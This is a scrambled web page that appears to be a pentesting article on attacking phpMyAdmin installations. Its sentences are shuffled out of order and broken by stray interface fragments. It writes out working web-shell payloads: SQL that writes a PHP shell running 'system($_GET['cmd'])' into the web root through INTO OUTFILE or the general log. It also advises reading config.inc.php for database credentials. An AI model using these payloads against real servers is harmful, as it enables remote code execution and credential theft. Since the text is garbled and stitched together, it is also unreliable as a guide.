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SELECT '' INTO OUTFILE '/var/www/html/shell.php'; Use code with caution. Execute commands via your browser: http://target.com

The first step in assessing a phpMyAdmin installation is identifying its presence, version, and exposed configuration files. Path Discovery phpmyadmin hacktricks verified

If you have FILE privileges, you can gain a shell by writing directly to the web root:

If you achieve local file read access via another vulnerability (e.g., Local File Inclusion on the host web app), prioritize reading the phpMyAdmin configuration file:

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The config.inc.php file contains database credentials and sometimes auth keys.

If the database user has the FILE privilege and the MySQL variable secure_file_priv is empty or misconfigured, you can write a PHP web shell directly to the web root. Execute the following SQL query in the phpMyAdmin SQL tab:

Before attempting any active exploitation, you must gather data about the target instance. Version Detection Can’t copy the link right now

SHOW VARIABLES LIKE 'general_log_file'; SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['cmd']); ?>"; SET GLOBAL general_log = 'OFF';

In phpMyAdmin 4.3.0 to 4.6.2, a vulnerability in the search feature allowed attackers to execute code through the PHP preg_replace function using the /e (eval) modifier. 4. Advanced Enumeration: HackTricks Style

To secure your PHPMyAdmin installation:

, a popular web-based MySQL/MariaDB administration tool, through the lens of established penetration testing methodologies like those verified and curated by HackTricks 1. Introduction to phpMyAdmin Vulnerabilities phpMyAdmin